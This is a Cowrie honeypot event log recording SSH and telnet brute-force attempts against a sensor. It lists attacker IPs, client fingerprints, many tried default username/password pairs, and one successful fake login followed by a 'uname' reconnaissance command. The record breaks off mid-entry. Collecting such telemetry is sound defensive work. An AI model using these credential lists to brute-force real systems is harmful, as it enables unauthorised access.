{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:57.613398Z","src_ip":"176.65.132.129","session":"3eec1d2b4501","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111111","message":"login attempt [root/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:57.958609Z","src_ip":"176.65.132.129","session":"3eec1d2b4501","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":56720,"dst_ip":"159.203.135.109","dst_port":22,"session":"561d0880f12d","protocol":"ssh","message":"New connection: 172.237.20.62:56720 (159.203.135.109:22) [session: 561d0880f12d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:58.764829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:58.769541Z","src_ip":"172.237.20.62","session":"561d0880f12d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:58.929076Z","src_ip":"172.237.20.62","session":"561d0880f12d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:59.042928Z","src_ip":"176.65.132.129","session":"3eec1d2b4501","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy123","message":"login attempt [deploy/deploy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:38:59.407774Z","src_ip":"172.237.20.62","session":"561d0880f12d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:00.572721Z","src_ip":"172.237.20.62","session":"561d0880f12d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36878,"dst_ip":"159.203.135.109","dst_port":22,"session":"e12432033232","protocol":"ssh","message":"New connection: 176.65.132.129:36878 (159.203.135.109:22) [session: e12432033232]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:01.029344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:01.034809Z","src_ip":"176.65.132.129","session":"e12432033232","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:01.116936Z","src_ip":"176.65.132.129","session":"e12432033232","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker","message":"login attempt [docker/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:01.364592Z","src_ip":"176.65.132.129","session":"e12432033232","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:02.602589Z","src_ip":"176.65.132.129","session":"e12432033232","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.47722148895264,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:02.682110Z","src_ip":"45.58.127.90","session":"bb3110264ae8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":56288,"dst_ip":"10.17.0.5","dst_port":23,"session":"289d0ac220fc","protocol":"telnet","message":"New connection: 45.58.127.90:56288 (10.17.0.5:23) [session: 289d0ac220fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:03.541442Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36888,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9a830fb8a3f","protocol":"ssh","message":"New connection: 176.65.132.129:36888 (159.203.135.109:22) [session: e9a830fb8a3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:04.390170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:04.395661Z","src_ip":"176.65.132.129","session":"e9a830fb8a3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:04.479166Z","src_ip":"176.65.132.129","session":"e9a830fb8a3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"******","message":"login attempt [root/******] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:04.905401Z","src_ip":"176.65.132.129","session":"e9a830fb8a3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:05.991282Z","src_ip":"176.65.132.129","session":"e9a830fb8a3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":56296,"dst_ip":"10.17.0.5","dst_port":23,"session":"66b63592fe7e","protocol":"telnet","message":"New connection: 45.58.127.90:56296 (10.17.0.5:23) [session: 66b63592fe7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:07.828884Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":54132,"dst_ip":"159.203.135.109","dst_port":22,"session":"10670da730b7","protocol":"ssh","message":"New connection: 176.65.132.129:54132 (159.203.135.109:22) [session: 10670da730b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:07.955319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:07.960977Z","src_ip":"176.65.132.129","session":"10670da730b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:08.044135Z","src_ip":"176.65.132.129","session":"10670da730b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpt","password":"gpt","message":"login attempt [gpt/gpt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:08.293296Z","src_ip":"176.65.132.129","session":"10670da730b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":59042,"dst_ip":"10.17.0.5","dst_port":23,"session":"514aafa846b9","protocol":"telnet","message":"New connection: 45.58.127.90:59042 (10.17.0.5:23) [session: 514aafa846b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:08.959325Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":59046,"dst_ip":"10.17.0.5","dst_port":23,"session":"796fa5182784","protocol":"telnet","message":"New connection: 45.58.127.90:59046 (10.17.0.5:23) [session: 796fa5182784]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:09.115684Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:09.430112Z","src_ip":"176.65.132.129","session":"10670da730b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":34094,"dst_ip":"159.203.135.109","dst_port":22,"session":"402f9e4d8f79","protocol":"ssh","message":"New connection: 172.237.20.62:34094 (159.203.135.109:22) [session: 402f9e4d8f79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:09.843335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:09.848397Z","src_ip":"172.237.20.62","session":"402f9e4d8f79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:10.011083Z","src_ip":"172.237.20.62","session":"402f9e4d8f79","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle123","message":"login attempt [oracle/oracle123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:10.566639Z","src_ip":"172.237.20.62","session":"402f9e4d8f79","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:10.937345Z","src_ip":"172.237.20.62","session":"402f9e4d8f79","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:10.941087Z","src_ip":"172.237.20.62","session":"402f9e4d8f79","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:11.106288Z","src_ip":"172.237.20.62","session":"402f9e4d8f79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:11.110780Z","src_ip":"172.237.20.62","session":"402f9e4d8f79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":54144,"dst_ip":"159.203.135.109","dst_port":22,"session":"a68a492b692d","protocol":"ssh","message":"New connection: 176.65.132.129:54144 (159.203.135.109:22) [session: a68a492b692d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:11.325552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:11.330313Z","src_ip":"176.65.132.129","session":"a68a492b692d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:11.450603Z","src_ip":"176.65.132.129","session":"a68a492b692d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234","message":"login attempt [root/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:11.865243Z","src_ip":"176.65.132.129","session":"a68a492b692d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":59056,"dst_ip":"10.17.0.5","dst_port":23,"session":"f84d3a12e92b","protocol":"telnet","message":"New connection: 45.58.127.90:59056 (10.17.0.5:23) [session: f84d3a12e92b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:12.662153Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:12.948707Z","src_ip":"176.65.132.129","session":"a68a492b692d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":59060,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f5d2c4b520f","protocol":"telnet","message":"New connection: 45.58.127.90:59060 (10.17.0.5:23) [session: 7f5d2c4b520f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:12.979882Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":54172,"dst_ip":"159.203.135.109","dst_port":22,"session":"b842417973ce","protocol":"ssh","message":"New connection: 176.65.132.129:54172 (159.203.135.109:22) [session: b842417973ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:14.884434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:39:14.889609Z","src_ip":"176.65.132.129","session":"b842417973ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ss